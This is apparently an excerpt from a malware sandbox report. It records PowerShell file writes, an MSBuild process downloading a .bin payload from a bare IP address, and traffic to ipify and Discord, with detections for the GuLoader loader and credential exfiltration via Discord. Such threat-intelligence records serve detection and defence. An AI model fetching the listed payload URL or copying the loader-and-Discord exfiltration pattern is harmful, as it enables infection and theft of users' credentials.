| 2736 | Powershell.exe | C:\Users\admin\AppData\Local\Temp\4erlntow.h4m.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 2736 | Powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache | binary | |
MD5:C2A2D3AF5C713A6426F88B78A390C3AC | SHA256:1E8EE77230F92B55A6D035008DBFBA2A39FE672ADD341718686745CBADA4C57E | |||
| 776 | powershell.exe | C:\Users\admin\AppData\Local\Temp\qcct5zkk.dui.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 2736 | Powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:44B66D83FF8EBF61C925CDF145FDD05E | SHA256:20F25686E7A0A43D9CF2A193516238334B58537A727282EB6434DC1888B4A6E5 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
7
DNS requests
2
Threats
8
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2124 | MSBuild.exe | GET | 200 | 107.150.18.214:80 | http://107.150.18.214/ljwmt236.bin | unknown | binary | 245 Kb | unknown |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
1956 | svchost.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
324 | svchost.exe | 224.0.0.252:5355 | — | — | — | unknown |
2124 | MSBuild.exe | 107.150.18.214:80 | — | ASN-QUADRANET-GLOBAL | US | unknown |
2124 | MSBuild.exe | 104.237.62.212:443 | api.ipify.org | WEBNX | US | unknown |
2124 | MSBuild.exe | 162.159.138.232:443 | discord.com | CLOUDFLARENET | — | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
api.ipify.org |
| shared |
discord.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2124 | MSBuild.exe | A Network Trojan was detected | LOADER [ANY.RUN] GuLoader |
2124 | MSBuild.exe | Potentially Bad Traffic | ET HUNTING Generic .bin download from Dotted Quad |
324 | svchost.exe | Misc activity | ET INFO External IP Lookup Domain (ipify .org) in DNS Lookup |
2124 | MSBuild.exe | Misc activity | ET INFO External IP Address Lookup Domain (ipify .org) in TLS SNI |
324 | svchost.exe | Misc activity | ET INFO Observed Discord Domain in DNS Lookup (discord .com) |
2124 | MSBuild.exe | Misc activity | ET INFO Observed Discord Domain (discord .com in TLS SNI) |
2124 | MSBuild.exe | Successful Credential Theft Detected | STEALER [ANY.RUN] Attempt to exfiltrate via Discord |
1 ETPRO signatures available at the full report